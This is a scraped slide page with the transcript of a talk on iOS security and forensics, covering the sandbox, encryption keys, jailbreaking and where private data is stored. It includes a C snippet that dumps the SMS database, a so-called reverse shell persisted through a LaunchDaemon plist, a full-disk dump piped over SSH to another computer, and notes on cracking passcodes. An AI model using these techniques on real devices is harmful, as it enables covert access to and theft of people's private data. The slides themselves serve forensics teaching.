Security and Forensics

Slides:



Advertisements
Similar presentations
Commands 2 » Step 1: Boot ramdisk and custom kernel on device »./redsn0w_mac_0.9.15b3/redsn0w.app/Contents/Mac OS/redsn0w -i iPhone3,3_5.1.1_9B206_Restore.ipsw.
Advertisements

Linux can be generally divided into four major components: 1. KERNEL – OS, ultimate boss The kernel is the core program that runs programs and manages.
Chapter 10: File-System Interface
Chung Man Ho Willims Chow Man Kei Gary Kwok Pak Wai Lion.
Configuring Windows Vista Security Chapter 3. IE7 Pop-up Blocker Pop-up Blocker prevents annoying and sometimes unsafe pop-ups from web sites Can block.
Connecting with Computer Science, 2e
Cs238 Lecture 3 Operating System Structures Dr. Alan R. Davis.
Implementing ISA Server Caching. Caching Overview ISA Server supports caching as a way to improve the speed of retrieving information from the Internet.
Silberschatz, Galvin and Gagne  Operating System Concepts Common OS Components Process Management Memory Management File Management I/O System.
Adventures of Rootless
Operating Systems Concepts 1. A Computer Model An operating system has to deal with the fact that a computer is made up of a CPU, random access memory.
 Contents 1.Introduction about operating system. 2. What is 32 bit and 64 bit operating system. 3. File systems. 4. Minimum requirement for Windows 7.
Buffer Overflow Attacks. Memory plays a key part in many computer system functions. It’s a critical component to many internal operations. From mother.
NETWORK FILE SYSTEM (NFS) By Ameeta.Jakate. NFS NFS was introduced in 1985 as a means of providing transparent access to remote file systems. NFS Architecture.
Security issues for mobile devices Cvetko Andreeski.
1. 2 LXU800 User’s Manual 1.Installation – Windows XP UI Features Introduction Data Connection & Disconnection.
CS 153 Design of Operating Systems Spring 2015 Lecture 24: Android OS.
I/O Systems ◦ Operating Systems ◦ CS550. Note:  Based on Operating Systems Concepts by Silberschatz, Galvin, and Gagne  Strongly recommended to read.
MPE+ Access Data Evasi0n iPhone 4s/5 Nexus 4 Market Share Information.
Objectives Learn what a file system does
Chapter-4 Windows 2000 Professional Win2K Professional provides a very usable interface and was designed for use in the desktop PC. Microsoft server system.
Hands-On Microsoft Windows Server 2008
 Security and Smartphones By Parker Moore. The Smartphone Takeover  Half of mobile phone subscribers in the United States have a smartphone.  An estimated.
All Your Droid Are Belong To Us: A Survey of Current Android Attacks 단국대학교 컴퓨터 보안 및 OS 연구실 김낙영
Mac OS Lion Memory Forensics Using IEEE 1394 to Bypass FileVault 2 Full Volume Encryption. Todd Garrison September 18, 2011.
Tutorial 11 Installing, Updating, and Configuring Software
Guide to Linux Installation and Administration, 2e 1 Chapter 9 Preparing for Emergencies.
NOTE: To change the image on this slide, select the picture and delete it. Then click the Pictures icon in the placeholder to insert your own image. iOS.
Computer and Information Sciences
© 2006 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice HP CM8060/8050 Color MFP with Edgeline.
Controlling Files Richard Newman based on Smith “Elementary Information Security”
Mobile Device Security
Rensselaer Polytechnic Institute CSCI-4210 – Operating Systems CSCI-6140 – Computer Operating Systems David Goldschmidt, Ph.D.
Week #3 Objectives Partition Disks in Windows® 7 Manage Disk Volumes Maintain Disks in Windows 7 Install and Configure Device Drivers.
Unit - VI. Linux and Real Time: Real Time Tasks Hard and Soft Real Time Tasks Linux Scheduling Latency Kernel Preemption Challenges in Kernel Preemption.
Computer Networking From LANs to WANs: Hardware, Software, and Security Chapter 13 FTP and Telnet.
1 iPhone Forensics Ruben Gonzalez. 2 Agenda I am the iPhone iPhone Components OS and System Architecture Let’s Dive into iPhone Forensics Evidence Left.
Free Powerpoint Templates Page 1 Free Powerpoint Templates Users and Documents.
Wireless and Mobile Security
1 REMOTE CONTROL SYSTEM V7 2 Introduction.
Chapter 10: File-System Interface Silberschatz, Galvin and Gagne ©2005 Operating System Concepts – 7 th Edition, Jan 1, 2005 File-System Interface.
CS 245 – Part 1 Using Operating Systems and Networks for Programmers Jiang Guo Dept. of Computer Science California State University Los Angeles.
IT-IDT-5 Understand, communicate, and adapt to a digital world. File Management.
Dilip Dwarakanath.  The topic I’m about to present was taken from a paper titled “Apple iOS 4 Security Evaluation” written by Dino A Dai Zovi.  Dino.
It consists of two parts: collection of files – stores related data directory structure – organizes & provides information Some file systems may have.
Genesis: From Raw Hardware to Processes Andy Wang Operating Systems COP 4610 / CGS 5765.
Lesson 18: Configuring Security for Mobile Devices MOAC : Configuring Windows 8.1.
TCS Internal Security. 2 TCS Internal Objective Objective :  Android Platform Security Architecture.
System initialization Unit objectives A.Outline steps necessary to boot a Linux system, configure LILO and GRUB boot loaders, and dual boot Linux with.
AccessData User Summit 2016 April 5 th – 7 th, 2016 Lake Mary, FL The Pros and Cons of JTAG and Chip Off Extractions.
By Collin Donaldson.   In conventional OS architectures, the user accesses the OS via an account that has certain privileges (admin, guest). They can.
Embedded Software Design Week II Linux Intro Linux Kernel.
As we all know that many unexpected incidents can lead to data loss on your iPhone, such as iPhone stolen, damaged or got lost, accidental deletion, reset,
Kyler Rhoades. What is Jailbreaking? History The evais0n Jailbreak How evais0n Works.
Windows Vista Configuration MCTS : NTFS Security Features and File Sharing.
Introduction to Operating Systems
Háló Deloitte CRS Jailbreak & Behind.
Chapter 1: A Tour of Computer Systems
Chapter 12: File System Implementation
Chapter 2: System Structures
MICROSOFT OUTLOOK and Outlook service Provider
Jailbreaking vs. Rooting
Top 4 Data Recovery Software for Mobile in 2018 for free download
Booting Up 15-Nov-18 boot.ppt.
IS3440 Linux Security Unit 7 Securing the Linux Kernel
Chapter 2: Operating-System Structures
Outline Chapter 2 (cont) OS Design OS structure
System calls….. C-program->POSIX call
Chapter 2: Operating-System Structures
Presentation transcript:

Security and Forensics iOS Security and Forensics Powerpoint Templates

Apple’s Security Model iDevice applications available on Apple Store Tested, analyzed, approved, signed then distributed by Apple services Installed in: /private/var/mobile/Applications/{Unique_App_ID} Full list of installed applications : /private/var/mobile/Library/Caches/com.apple.mobile.installation.plist Executed under “mobile” user in TrustedBSD sandbox ASLR and DEP activated All that, on a fully encrypted filesystem.

Apple’s Directories Sandboxing

TrustedBSD Sandbox Open source project for FreeBSD systems Sponsored by Apple, Google, Yahoo!, NSA… Modified and used by Apple for OS X and iOS Installs series of hooks, in order to intercept and filter syscalls. Policy retrieved from a human readable file then passed to the kernel in a binary format. Finally the kernel installs sanbox rules for the process

Policy rules Stored in /usr/share/sandbox and hardcoded in the Kernel Some policies configuration are done by the user through popups Written in ESDL schema, human readable: (version 1) (allow default) (deny file-read-data (regex #”^/private/tmp/test\.c$”)) $ sandbox_exec –p ‘{$POLICY}’ /bin/sh $ file /private/tmp/test.c test.c: cannot open: Operation not permitted $ sandbox_exec –n no-internet /bin/sh $ ping 4.2.2.2 ping: sendto: Operation not permitted The sandbox_init() syscall uses the libsandbox.dylib to convert the policy into binary format.

iDevice Storage Device NAND storage device exploited like the following: BOOT (block 0): contains the bootloader PLOG (block 1) : contains the EMF, BAG1 and Dkey EMF : used to encrypt the entire filesystem and HFS journal BAG1 : used to encrypt the keybag Dkey : used to encrypt files without encryption policy class NVM (block 2-7) : stores the NVRAM parameters FIRM (block 8-15) : stores the firmware, iBoot, device tree & logos FSYS (block 16-4084): stores the encrypted filesystem RSRV (last 15 blocks): reserved

At boot, the EMF and Dkey are extracted automatically Encryption mechanism Starting from iPhone 3GS, Apples devices contain hardware encryption processor. It permit the following: UID keys stored in the processor 0x835 & 0x89B keys derived from the UID key Filesystem : Data partition encrypted with EMF (AES-128) System partition encrypted with hardcoded AES-256 key (in kernel & bootloaders) Keychain encryption with the Dkey The Keybag contains Master Keys for Protection Classes Some Master Keys encrypted with passcode Each file on the filesystem encrypted with a “cprotect” key Each “cprotect” key is encrypted with the file’s associated Protection Class Master Key At boot, the EMF and Dkey are extracted automatically

Protection Classes Files decryption is defined according to their associated “Protection Classes”. Protection Classes used for files: NSFileProtectionComplete: file only decrypted when the iDevice is unlocked. NSFileProtectionCompleteUnlessOpen: file only decrypted when the iDevice is unlocked. It stay decrypted even after lock if the application maintains it open. NSFileProtectionCompleteUntilUserAuthentication: file decrypted after a successful unlock. It remains decrypted until next reboot. NSFileProtectionNone: file decrypted using the Dkey. NSFileProtectionRecovery: undocumented. Protection Classes used for keychains: kSecAttrAccessibleWhenUnlocked[ThisDeviceOnly] kSecAttrAccessibleAfterFirstUnlock[ThisDeviceOnly] kSecAttrAccessibleAlways[ThisDeviceOnly]

Data wiping and recovery Filesystem’s wiping consists of rewriting the EMF & Dkey Files deletion consists of rewriting the associated cprotect The filesystem’s journal: encrypted with the Dkey contains cprotect keys in cleartext rotation depending on filesystem’s activity could be retrieved and used to recover deleted files /dev/disk0s1s2 raw data backup: Connect the iDevice to power supply Disable the autolock Run: $ dd if=/dev/rdisk0 bs=4k | ssh -C username@computer_ip 'dd of=/home/{$USER}/dump.dmg' - Wait… for… a… while….

Security chain

Jailbreak Execution of third party applications/code allowed Unsigned code execution granting (depending on jailbreaks) Complete bypass of the sandbox Root (/) partition mounted in read/write. Before jailbreak: $ cat /etc/fstab /dev/disk0s1 / hfs r 0 1 /dev/disk2s1 /private/var hfs rw 0 2 After jailbreak: /dev/disk0s1 / hfs rw 0 1 Note: on iOS >=5, /dev/disk2s1 became /dev/disk1s2

Useful information launchd: first executed binary while booting (init like) watchdog: checks if a process is running in memory more than 5mn, if yes it reboots the iDevice launchctl : used to control daemons $ launchctl load com.adel.reverse_shell.plist ldid: Link Identity Editor, used to sign a binary $ ldid –S my_binary usbmux: protocol created to encapsulate TCP over USB connections. Optimized and used by iTune. XCode: developpment platform on Mac OS X, freely downloadable on Apple Store Cydia Store: online non official applications store for jailbroken devices SSH binaries: freely available package over Cydia store.

HelloWorld for iDevice Simple HelloWorld\n program: - $ cat helloworld.c #include <stdio.h> int main(int argc, char *argv[]) { printf(“HelloWorld\n”); return 0; } $ export PF=/Developer/Platforms/iPhoneOS.platform $ $PF/Developer/usr/boin/arm-apple-darwin10-llvm-gcc-4.2 -o hello hello.c -isysroot $PF/Developer/SDKs/iPhoneOS5.0.sdk/ Binary auto-siging: $ ldid –S hello Simple binary file transfer over SSH: $ scp hello root@<iDevice_IP_Addr>:/usr/bin/my_binary

Local File Disclosure $ cat lfi_smsdb.c #include <stdio.h> main() { FILE *fp=NULL; int c=0; fp=fopen("/var/mobile/Library/SMS/sms.db","r"); do { c=fgetc(fp); printf("%c",c); } while (!feof(fp)); fclose(fp); return 0; }

Reverse Shell $ cat reverse_shell.c #include <stdio.h> #include <unistd.h> main() { execve("/bin/sh", NULL, NULL); return 0; }

Process Daemonizing Copying reverse_shell to the iDevice /usr/bin Copying com.adel.reverse_shell.plist to the iDevice /System/Library/LaunchDaemons/ Rebooting the iDevice or : $ cd /System/Library/LaunchDaemons $ launchctl load ./com.adel.reverse_shell.plist

plist Manifest Format XML file format, used for configuration purpose $ cd /System/Library/LaunchDaemons $ cat com.adel.reverse_shell.plist <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> ... <key>Label</key> <string>com.adel.reverse_shell</string> <key>Program</key> <string>/usr/bin/reverse_shell</string> <key>Sockets</key> <dict> <key>Listeners</key> <key>SockServiceName</key> <string>1337</string> </dict> </plist>

Physical Access Pwnage Many possibilities: Easy: the iDevice does not have passcode Full access to data over SpringBoard, SSH or after boot on ramdisk Medium: the iDevice has a passcode < 4 digits - Booting on ramdisk, patching the kernel and cracking the passcode Needs max 30mn of passcode cracking (10^4 possibilities) Medium ++: the iDevice has a passcode > 5 digits Could take time for cracking The xkcd 5$ wrench shall be used ! Hard: the iDevice has a boot passcode (EMF + Dkey encrypted with that) ? Does it exist ?

LiveCD vs RAMDISK A 2mb HFS+ container with: customized launchd binaries to copy/execute plist files Loaded into the iDevice over USB and after reboot to DFU mode exploit the iDevice vulnerability load the ramdisk on RAM execute launchd disable watchdog option 1: scan and mount the filesystem (EMF + Dkey auto-extracted) copy files on the filesystem chroot on the mounted filesystem option 2: initialize the usbmux protocol read and send raw NAND data over USB (EMF + Dkey must be extracted manually

Sensitive Data Keyboard cache Clipboard buffer Consolidated GPS positions databse and latest GPS position Applications and Safari snapshot cache Google maps cache and history Address book, photos, songs, voice records, notes, calendar, call history SMS, MMS, drafts and SpotLight SMS cache Geolocalization tags on photos Safari cache, search list, bookmarks, cookies, history and WebKit cache Installed applications list Emails, applications, their data and cache Lastest dialed number, bookmarked contact list, IMSI, ICCID Configured access point list …

Keyboard Cache Contains the keyboard cache Written known and unknown words One cache per language Available in /private/var/mobile/Library/Keyboard/

Keyboard Cache

Applications snapshot Available in: $ /private/var/mobile/Library/Caches/Snapshots/{APP_NAME}/{NAME}.jpg

Consolidated GPS Positions Databse Available in: $ /private/var/root/Library/Caches/locationd/consolidated.db

Consolidated GPS Positions Databse Available in: $ /private/var/root/Library/Caches/locationd/consolidated.db

Consolidated GPS Positions Databse Available in: $ /private/var/root/Library/Caches/locationd/consolidated.db

End. Questions ?